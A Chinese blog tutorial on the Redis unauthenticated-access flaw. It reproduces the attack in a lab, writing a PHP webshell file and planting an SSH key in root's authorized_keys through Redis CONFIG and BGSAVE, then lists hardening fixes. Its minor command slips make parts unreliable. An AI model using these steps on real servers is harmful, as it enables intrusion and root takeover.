Redis匿名訪問漏洞

  • 2019 年 10 月 8 日
  • 筆記

簡介

Redis匿名訪問漏洞也被稱為 Redis未授權訪問漏洞。是由於 Redis服務本身的特性及其運維不當造成的

Redis數據庫介紹

Redis是一個數據庫系統,其項目也在 github上開源。 Redis是一個高性能的 key-valueNOSQL數據庫系統, Redis使用 ANSI C語言編寫、支持網絡、可基於內存亦可持久化的日誌型的數據庫系統。

Redis的儲存方式

Redis的數據雖然被寫入到內存中,但是可以被保存到硬盤裡,保存的形式一般有兩種: RDBAOFRDB的儲存形式類似於 ,MySQL調用 msqldump來儲存數據,而 AOF的儲存形式則是把 Redis里生成數據的過程步驟給保存到一個文件里。

漏洞原理

Redis的默認配置文件中,會綁定 0.0.0.0:6379,這樣 Redis會監聽一切 IP,接收一切 IP的請求。如果沒有採用添加防火牆規則等相關安全策略來屏蔽非信任來源 IP訪問的話,會使 Redis服務暴露在公網,從而被任意用戶請求來進行登錄。 Redis默認沒有設置密碼認證,沒有進行相應的密碼驗證會導致任意 用戶免密登錄 Redis,從而讀取 Redis的數據、篡改 Redis的數據或者更高危的操作。

安裝Redis

$ wget  $ tar -zxvf redis  $ cd redis/  $ make && make install  $ make test

配置部署

測試環境

靶機 IP:192.168.1.10 滲透機 IP:192.168.1.11

Redis的配置

# 配置配置文件  $ cat redis.config  daemonize yes  # 以守護進程方式運行  port 6379  # 綁定本機端口  dir "."  logfile "redis-6379.log  # 日誌文件  protected-mode no # 關閉保護模式  # 啟動Redis  $ redis-server redis-hack.conf

Redisprotected-mode3.2後加入的新特性,因為我這裡使用的是 4.0的版本,要復現的話要關閉。

漏洞復現過程

登錄

192.168.1.11主機上,因為 Redis沒有做任何安全措施,所以可以直接登錄:

$ redis-cli -h 192.168.1.10 -p 6379

登錄成功。

寫WebShell

原理

Redis運行時的數據都保存在內存中,如果想要備份數據,可以以 RDB的形式保存在硬盤。

操作

192.168.1.10:6379> config set dir /var/www/html/ # 把要保存的RDB文件設置要網站根目錄下、  192.168.1.10:6379> config set dbfilename hack.php # 拿Webshell  192.168.1.10:6379> set webshell "<?php phpinfo();>"  # 把一個叫做webshell的key的值設置成phpinfo函數  192.168.1.10:6379> bgsave # 調用Redis的RDB保存命令

瀏覽器訪問 192.168.1.10/redis.php,看到 phpinfo函數執行成功:

這就意味我們有更多的東西可以寫入,包括寫入 WebShell等等。

配置免密登錄

生成ssh-keygen

先在 192.168.1.11的滲透主機上生成 ssh的私鑰與公鑰:

$ ssh-keygen -t rsa  $ (echo -e "nn";cat id_rsa.pub; echo -e "nn") > hack.txt # 保存公鑰到hack.txt中  $ cat hack.txt | redis-cli -h 192.168.1.10 -p 6379 -x set hack-it  # 把公鑰寫入到redis主機  OK

再在 192.168.1.11的滲透主機上登錄 Redis主機:

$ redis-cli -h 192.168.1.10 -p 6379

登錄成後配置 RDB的儲存方式:

192.168.1.10:6379> config set dir /root/.ssh/  192.168.1.10:6379> config set dbfilename authorized_keys  192.168.1.10:6379> bgsave  # fork一個子進程進行RDB的保存

然後通過 ssh連接機器:

$ ssh -i id_rsa [email protected]

可以看到登錄成功。

修復

低權限運行Redis

避免 root用戶啟動 Redis服務。而選擇一些權限比較低的用戶運行 Redis

$ groupadd -r redis && useradd -r -g redis redis

禁止命令

通過修改配置文件來禁止一些高風險的命令。

$ vim redis.conf  ...  rename-command FLUSHALL ""  rename-command CONFIG   ""  rename-command EVAL     ""  ...

添加密碼認證

通過配置文件

$ vim redis.conf  requirepass PASSWORD

也可以通過 Redis的命令行:

127.0.0.1:6379> config set requirepass PASSWORD

禁止外網訪問

通過防火牆等配置來禁止外網訪問。

總結

Redis匿名訪問漏洞由不安全的運維配置引起的,作為配置 Redis的開發人員或運維人員一定要有一定的安全意識,才能更好的實現真正的安全。